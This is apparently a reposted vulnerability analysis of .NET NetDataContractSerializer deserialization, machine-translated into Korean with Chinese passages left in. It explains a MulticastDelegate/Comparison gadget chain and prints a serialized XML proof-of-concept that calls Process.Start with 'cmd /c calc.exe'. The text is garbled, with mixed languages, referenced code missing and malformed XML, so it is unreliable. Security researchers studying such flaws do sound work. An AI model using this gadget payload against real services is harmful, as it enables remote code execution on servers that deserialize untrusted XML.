NetDataContractSerializer는 DataContractSerializer와 마찬가지로 WCF(Windows Communication Foundation) 메시지로 전송된 데이터를 직렬화 및 역직렬화하는 데 사용됩니다. 둘 사이에는 중요한 차이점이 있습니다. NetDataContractSerializer에는 CLR이 포함되어 있으며 추가 정보를 추가하고 CLR 유형에 대한 참조를 저장하여 유형 정밀도를 지원하는 반면 DataContractSerializer는 그렇지 않습니다. 따라서 NetDataContractSerializer는 직렬화 및 역직렬화 측면에서 동일한 CLR 유형이 사용되는 경우에만 사용할 수 있습니다. 개체를 직렬화하려면 WriteObject 또는 Serialize 메서드를 사용하고, XML 스트림을 역직렬화하려면 ReadObject 또는 Deserialize 메서드를 사용하세요. 일부 시나리오에서는 악의적인 XML 스트림을 읽으면 역직렬화 취약점이 발생하여 원격 RCE 공격이 발생합니다. 이 기사의 저자는 이를 원칙 및 코드 감사의 관점에서 소개하고 재현했습니다.
WriteObject 또는 Serialize를 사용하면 .NET 개체와 XML 데이터 간의 변환을 쉽게 구현할 수 있습니다. NetDataContractSerializer에는 어셈블리 이름과 직렬화된 유형이 포함되어 있습니다. 이 추가 정보를 사용하면 XML을 특수 유형으로 역직렬화하여 클라이언트와 서버 모두에서 동일한 유형을 사용할 수 있습니다. 추가 정보는 z:Id 속성이 요소마다 다른 의미를 갖는다는 것입니다. 이는 참조 유형을 처리하고 XML이 역직렬화될 때 참조를 유지할 수 있는지 여부를 결정하는 데 사용됩니다. 최종 결론은 이 출력에 DataContractSerializer의 출력보다 더 많은 정보가 포함되어 있다는 것입니다. 다음은 문제를 설명하는 예입니다. 먼저 TestClass 개체를 정의합니다.
TestClass 개체는 세 개의 멤버를 정의하고 정적 메서드 ClassMethod를 구현하여 프로세스를 시작합니다. 직렬화는 개체 인스턴스를 각각 생성하여 멤버에 값을 할당합니다.
저자는 TestClass 클래스를 직렬화한 후 xml 데이터를 가져오기 위해 직렬화를 사용합니다
<testclass><age>18</age><classname>360</classname><name>Ivan1ee</name></testclass>
NetDataContractSerializer 클래스 역직렬화 시퀀스 프로세스는 XML 스트림을 개체로 변환하고 ReadObject의 여러 오버로드된 메서드를 호출하거나 새 개체를 생성하여 Serialize 메서드를 호출하여 이를 구현하는 것입니다. 정의를 확인하여 XmlObjectSerializer 추상 클래스인 IFormatter에서 상속되는지 확인합니다. 인터페이스,
NetDataContractSerializer 클래스 XmlObjectSerializer 추상 클래스에서 WriteObject 및 ReadObject 메서드를 구현하고 IFormatter에 정의된 메서드도 구현합니다. 새로운 객체를 생성하여 Deserialize 메서드를 호출하는 작성자의 구체적인 구현 코드는 아래에서 확인할 수 있습니다. 실제로 ReadObject 메서드는 deserialization 프로세스에서 사용됩니다. 호출되면 핵심이 아닌 일부 코드가 생략되고, InternalReadObject 메서드 본문에서 역직렬화 후에 개체의 속성이 얻어지며, Name 멤버의 값이 인쇄됩니다.
3.2 공격 벡터 - MulticastDelegate
멀티캐스트 대리자(MulticastDelegate)는 Delegate에서 상속되며 해당 호출 목록에는 여러 요소가 있는 대리자가 있을 수 있습니다. 실제로 모든 대리자 유형은 MulticastDelegate에서 파생됩니다. MulticastDelegate 클래스의 _invocationList 필드는 위임 체인을 구성할 때 위임 배열을 참조합니다. 그러나 위임 체인을 더 효과적으로 제어하려면 GetInvocationList 메서드를 사용해야 합니다. 여기에는 링크가 있는 위임 목록이 있으며 위임 인스턴스를 호출합니다. 때가 되면 목록에 있는 대리자 순서대로 동기 호출이 이루어지는데, GetInvocationList 목록 메서드에 calc.exe를 추가하는 방법은 무엇입니까? 먼저 명령 공간 System.Collections.Generic에서 사용되며 다음과 같이 정의되는 Comparison
Comparison 클래스는 대리자를 반환한 다음 대리자의 공용 정적 메서드 Combine을 사용합니다. 또는 MulticastDelegate 클래스를 사용하여 체인에 대리자를 추가합니다. 비교를 위한 유형 비교기로
使用Comparer
多路广播委托的调用列表GetInvocationList方法在内部构造并初始化一个数组,让它的每个元素都引用链中的一个委托,然后返回对该数组的引用,下面代码修改了私有字段_InvocationList并用泛型委托Func返回Process类。
最后传入攻击载荷后得到完整序列化后的poc,如下
从代码审计的角度只需找到可控的Path路径就可以被反序列化,例如以下场景:
上面两种方式都是很常见的,需要重点关注。
1. 代码中实现读取本地文件内容
2. 传递poc xml,弹出计算器网页返回200
1. <arrayofstring><count>2</count> ><comparer><_comparison><delegate><assembly>mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089</assembly> ><delegateentry><assemblyz:ref></assemblyz:ref><methodname>Compare</methodname> ><target></target><targettypename>System.String a:targetTypeName >System.Comparison`1[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > a:delegateEntry >Start a:methodName >System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089 >System.Diagnostics.Process a:targetTypeName >System.Func`3[[System.String,mscorlib, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0,Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process,System, Version=4.0.0.0, Culture=neutral,PublicKeyToken=b77a5c561934e089]] a:type > Delegate >System.Diagnostics.Process Start(System.String,System.String) Signature >System.Diagnostics.ProcessStart(System.String, System.String) Signature2 >8 MemberType ><genericarguments></genericarguments> method0 >Int32 Compare(System.String, System.String) Signature >System.Int32 Compare(System.String,System.String) >8 MemberType > method1 > _comparison > Comparer >2 Version >/c calc.exe string >cmd string > Items > ArrayOfstring ></targettypename></delegateentry></delegate></_comparison></comparer></arrayofstring>
最后附上动态效果图
위 내용은 NetDataContractSerializer 역직렬화 취약점 분석을 수행하는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!